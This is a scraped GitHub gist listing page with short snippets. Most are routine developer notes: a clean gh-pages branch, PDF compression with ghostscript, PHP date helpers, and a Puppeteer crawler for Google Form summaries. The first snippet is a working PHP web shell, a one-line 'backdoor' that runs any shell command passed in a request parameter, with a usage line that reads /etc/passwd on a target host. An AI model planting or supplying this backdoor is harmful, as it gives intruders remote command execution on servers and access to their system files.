Skip to content

Instantly share code, notes, and snippets.

View ngekoding's full-sized avatar
💭
#staysafe

Nur Muhammad ngekoding

💭
#staysafe
View GitHub Profile
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@tunjos
tunjos / gh-pages.md
Created July 24, 2015 16:46
Creating a clean gh-pages branch

Creating a clean gh-pages branch

cd /path/to/repo-name
git checkout --orphan gh-pages
git rm -rf .
echo "My GitHub Page" > index.html
git add .
git commit -a -m "Add index.html"
@ahmed-musallam
ahmed-musallam / compress_pdf.md
Last active July 2, 2024 09:52
How to compress PDF with ghostscript

How to compress PDF using ghostscript

As a developer, it bothers me when someone sends me a large pdf file compared to the number of pages. Recently, I recieved a 12MB scanned document for just one letter-sized page... so I got to googlin, like I usually do, and found ghostscript!

to learn more abot ghostscript (gs): https://www.ghostscript.com/

What we are interested in, is the gs command line tool, which provides many options for manipulating PDF, but we are interested in compressign those large PDF's into small yet legible documents.

credit goes to this answer on askubuntu forum: https://askubuntu.com/questions/3382/reduce-filesize-of-a-scanned-pdf/3387#3387?newreg=bceddef8bc334e5b88bbfd17a6e7c4f9

@ngekoding
ngekoding / example.php
Last active January 20, 2021 01:31
Getting date start & end for every week (Mon - Sun) by given month
<?php
$weeks = get_week_dates('2021-01');
var_dump($weeks);
// Output:
// array(5) {
// [0]=>
// array(2) {
@ngekoding
ngekoding / g-form-automator.js
Last active February 10, 2022 08:47
Crawling google form response summary (analytics)
const puppeteer = require('puppeteer-extra');
const pluginStealth = require('puppeteer-extra-plugin-stealth');
const fs = require('fs');
const dayjs = require('dayjs');
puppeteer.use(pluginStealth());
// Change default locale to Indonesia
require('dayjs/locale/id');
dayjs.locale('id');
@ngekoding
ngekoding / last-sunday.php
Created December 14, 2023 03:20
Gets the last Sunday of the month for a given date
<?php
/**
* Gets the last Sunday of the month for a given date.
*
* @param string $dateString The input date in 'Y-m-d' format.
* @return string The last Sunday of the month in 'Y-m-d' format.
*/
function getLastSunday($dateString)
{